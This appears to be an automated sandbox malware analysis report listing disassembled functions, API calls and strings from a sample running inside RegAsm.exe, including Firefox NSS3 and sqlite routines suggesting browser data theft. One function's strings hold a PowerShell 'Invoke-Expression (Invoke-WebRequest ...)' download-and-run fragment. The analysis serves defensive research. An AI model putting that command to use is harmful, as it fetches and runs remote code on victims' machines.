ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDAD652
GetCurrentThreadId.KERNEL32 ref: 6CDAD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDAD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDAD6A2

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 7c903c5175843a43f8b6722abefa39a40b36abb00720248f22a459c7eec70563
Instruction ID: da4d59d91d4299077db1cd8875833b5668415787789237af586a113ca97c0ad1
Opcode Fuzzy Hash: 7c903c5175843a43f8b6722abefa39a40b36abb00720248f22a459c7eec70563
Instruction Fuzzy Hash: 64516C71A04705EFD704DF65C484A9ABBB8FF89318F108A2EE95A87760DB30F945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

Strings

sql:, xrefs: 6CEB6C52
rdb:, xrefs: 6CEB6C69
dbm:, xrefs: 6CEB6C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6CEB6C91
extern:, xrefs: 6CEB6C7E
dbm, xrefs: 6CEB6CA4

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction ID: 6c0e643a684ab40c464cdd1445ba77eaac8bc93a015ef6fce6b3235a20697c31
Opcode Fuzzy Hash: 36fe0f65b0e1523c2fa6cab29e77a2832f1f4732cbe547c55d7d88723ab9fa0c
Instruction Fuzzy Hash: CE01A7A1B0330577E94027BA9E59F67356C9F4215CF380432FE04F1A41EBB3EA1544B9

Uniqueness

Uniqueness Score: -1.00%

Function 004117BA Relevance: 19.7, APIs: 13, Instructions: 186stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004117BF
memset.MSVCRT ref: 004117E0
memset.MSVCRT ref: 004117EE

Part of subcall function 0040FA35: SHGetFolderPathA.SHELL32(00000000,f;B,00000000,00000000,?), ref: 0040FA66

lstrcat.KERNEL32(?,00000000), ref: 0041181A
lstrcat.KERNEL32(?), ref: 00411838
lstrcat.KERNEL32(?,?), ref: 0041184C
lstrcat.KERNEL32(?), ref: 0041185F

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040BBFC: _EH_prolog.MSVCRT ref: 0040BC01
Part of subcall function 0040BBFC: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BC54
Part of subcall function 0040BBFC: memcmp.MSVCRT ref: 0040BC92

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Part of subcall function 0040FCAC: GlobalAlloc.KERNEL32(00000000,004118ED,?,00000000,?,004118ED,?,?), ref: 0040FCB7

StrStrA.SHLWAPI(00000000), ref: 004118F9
GlobalFree.KERNEL32(?), ref: 004119C8

Part of subcall function 00406629: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 00406649
Part of subcall function 00406629: LocalAlloc.KERNEL32(00000040,00405D10,?,?,00405D10,00000000,?,?), ref: 00406657
Part of subcall function 00406629: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00405D10,00000000,00000000), ref: 0040666D
Part of subcall function 00406629: LocalFree.KERNEL32(00000000,?,?,00405D10,00000000,?,?), ref: 0040667C

Part of subcall function 00406798: _EH_prolog.MSVCRT ref: 0040679D
Part of subcall function 00406798: memcmp.MSVCRT ref: 004067C3
Part of subcall function 00406798: memset.MSVCRT ref: 004067F2
Part of subcall function 00406798: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00000000), ref: 00406827

lstrcat.KERNEL32(?,00000000), ref: 0041196E
StrCmpCA.SHLWAPI(?,00424385,?,?,?,?,000003E8), ref: 0041198B
lstrcat.KERNEL32(?,?), ref: 004119A4
lstrcat.KERNEL32(?,004246E4), ref: 004119B2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$AllocFileLocal$memset$BinaryCryptFreeGlobalStringmemcmp$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 174962345-0
Opcode ID: d7aa550bf0c80065bff214dc76437d1447f8b8a2adbfd3ee973ae64b921ec3cd
Instruction ID: ad37920a587c33df3dc0bc5d86b488692bbfa80d9f69a0261e73be38d1c8c9ff
Opcode Fuzzy Hash: d7aa550bf0c80065bff214dc76437d1447f8b8a2adbfd3ee973ae64b921ec3cd
Instruction Fuzzy Hash: F3611DB2D00119ABCF10EBE1DC869DE7BBDEB58304F00047AF515F2191EA399A58CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6ACE2
malloc.MOZGLUE(00000001), ref: 6CE6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6AD02
TlsGetValue.KERNEL32 ref: 6CE6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE6AD8C
PR_Unlock.NSS3 ref: 6CE6ADC0
free.MOZGLUE(00000000), ref: 6CE6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6AE58
free.MOZGLUE(00000000), ref: 6CE6AE69
free.MOZGLUE(?), ref: 6CE6AE78
PR_Unlock.NSS3 ref: 6CE6AE8C
free.MOZGLUE(?), ref: 6CE6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6AEC7

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction ID: f51b34fc9cdcdb2ff811a243afacc07e515dc9f52c64821f9272eb140890a5a9
Opcode Fuzzy Hash: ddff63e8c1fbecdee1fe2dc6917b08ed97ec4361827ea0c2b46942312023713a
Instruction Fuzzy Hash: 7151AFB1EA11259BDF40DFAAD8457AF7774BB0635CF244025E815A3F00D331AA45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00411214 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 310COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411219

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

ShellExecuteEx.SHELL32(0000003C), ref: 004115E5

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Invoke-Expression (Invoke-WebRequest -Uri ", xrefs: 00411315
.ps1, xrefs: 004112EB
"" , xrefs: 0041146D
*.ps1, xrefs: 0041125E
<, xrefs: 0041159D
C:\ProgramData\, xrefs: 004113AD
" -UseBasicParsing).Content, xrefs: 00411339
C:\ProgramData\, xrefs: 00411281
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 0041137E

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: Invoke-Expression (Invoke-WebRequest -Uri "$" -UseBasicParsing).Content$"" $*.ps1$.ps1$<$C:\ProgramData\$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 585178538-186952963
Opcode ID: 9ce8da6a9686114794fb456ab3d3a9d2d23bb4716339ae8430e6f6efbd92a7ef
Instruction ID: f1d1865a18dd4c25b9f715af61876ee015e24a10db17bf43d2f70e42aef227c0
Opcode Fuzzy Hash: 9ce8da6a9686114794fb456ab3d3a9d2d23bb4716339ae8430e6f6efbd92a7ef
Instruction Fuzzy Hash: CDD16371800248EADB05EBE6D952BDDBBB4AF24308F50486EF505732C2EF791B18DB65

Uniqueness

Uniqueness Score: -1.00%

Function 6CEAADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CEAADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEAAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAE29

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEAAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEAAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEAAEA0

Strings

C_MessageSignInit, xrefs: 6CEAADE1
hKey = 0x%x, xrefs: 6CEAAE62, 6CEAAE72
hSession = 0x%x, xrefs: 6CEAAE01, 6CEAAE11
(CK_INVALID_HANDLE), xrefs: 6CEAAE1F, 6CEAAE80

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 0129d693392067b3a574286f05a41eab7d7ce2062b74e8f8be146cf8c5203ec4
Instruction ID: b8e7b3fadf2e3d3c7695dd2014c1ea36813f7d92fb03904abb729a14a3a9998a
Opcode Fuzzy Hash: 0129d693392067b3a574286f05a41eab7d7ce2062b74e8f8be146cf8c5203ec4
Instruction Fuzzy Hash: 54312531A51214AFDB009FA4CC88FAA7775AF4630DF548469E8095FB01DB31AC4ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF44CFD
sqlite3_value_text16.NSS3(?), ref: 6CF44D44

Strings

abort due to ROLLBACK, xrefs: 6CF44D27, 6CF44D33
unknown error, xrefs: 6CF44D56
another row available, xrefs: 6CF44D20
API call with %s database connection pointer, xrefs: 6CF44CF6
bad parameter or other API misuse, xrefs: 6CF44D05
invalid, xrefs: 6CF44CF1
out of memory, xrefs: 6CF44C78, 6CF44C9E
no more rows available, xrefs: 6CF44D2E

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction ID: 962db6d93a3381e83aad381c0acb3109d19b9c8a4b173ee1c0104924ee522842
Opcode Fuzzy Hash: 1d8c317c665b49e8aec0cb9a00ca5295921dfd0f55c049f4655286e4bc4b7c04
Instruction Fuzzy Hash: 9A316C73E45851ABE7084E24A8017E6BF717782318F1DC129D9247BE57CF25AC2683E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CEA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6F53

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEA6FA1

Strings

ulPartLen = %d, xrefs: 6CEA6F9C
C_DigestUpdate, xrefs: 6CEA6F11
hSession = 0x%x, xrefs: 6CEA6F2E, 6CEA6F3E
pPart = 0x%p, xrefs: 6CEA6F83
(CK_INVALID_HANDLE), xrefs: 6CEA6F4C

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction ID: 34de3c87bcfb2dabe2ea0f83921a6afbdb0922967511183724cd638dc376a02c
Opcode Fuzzy Hash: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction Fuzzy Hash: 6F31F538A22110AFDB40DF68CC49B4A77B5EB4731CF594469E8089BB11DB31AD4ACBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CEA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA2E33

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2E81

Strings

hSession = 0x%x, xrefs: 6CEA2E0E, 6CEA2E1E
ulPinLen = %d, xrefs: 6CEA2E7C
pPin = 0x%p, xrefs: 6CEA2E63
(CK_INVALID_HANDLE), xrefs: 6CEA2E2C
C_InitPIN, xrefs: 6CEA2DF1

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
Instruction ID: 8548eb3c20987ccd7b76e6581bb1215df64a0c12e8701fea7c33824252d4d3c4
Opcode Fuzzy Hash: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
Instruction Fuzzy Hash: F5313471E12114AFDB118BA5CD4CB4A7BB0EB4631CF548025E80DABB11DB31AD4ACBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD9EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CD64A68), ref: 6CD9945E
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD99470
Part of subcall function 6CD99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD99482
Part of subcall function 6CD99420: __Init_thread_footer.LIBCMT ref: 6CD9949F

GetCurrentThreadId.KERNEL32 ref: 6CD9EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD9EC8C

Part of subcall function 6CD994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD994EE
Part of subcall function 6CD994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD99508

GetCurrentThreadId.KERNEL32 ref: 6CD9ECA1
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CD9ECC5
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD9ED19
CloseHandle.KERNEL32(?), ref: 6CD9ED28
free.MOZGLUE(00000000), ref: 6CD9ED2F
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD9ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CD9EC94

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d50cc7a120c5face7166e95aa19c04752132572ca3954d5b2138b1e60d325afb
Instruction ID: 373cc40152bd143d3be480acd2ef7e14a25a76a87a165d506799efef09ac52a1
Opcode Fuzzy Hash: d50cc7a120c5face7166e95aa19c04752132572ca3954d5b2138b1e60d325afb
Instruction Fuzzy Hash: 6721A379A00204EBEB009F64DC04A9A777DFB4626DF144218FE1897BA1DB71F805CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF42D9F

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

sqlite3_exec.NSS3(?,?,6CF42F70,?,?), ref: 6CF42DF9
sqlite3_free.NSS3(00000000), ref: 6CF42E2C
sqlite3_free.NSS3(?), ref: 6CF42E3A
sqlite3_free.NSS3(?), ref: 6CF42E52
sqlite3_mprintf.NSS3(6CFAAAF9,?), ref: 6CF42E62
sqlite3_free.NSS3(?), ref: 6CF42E70
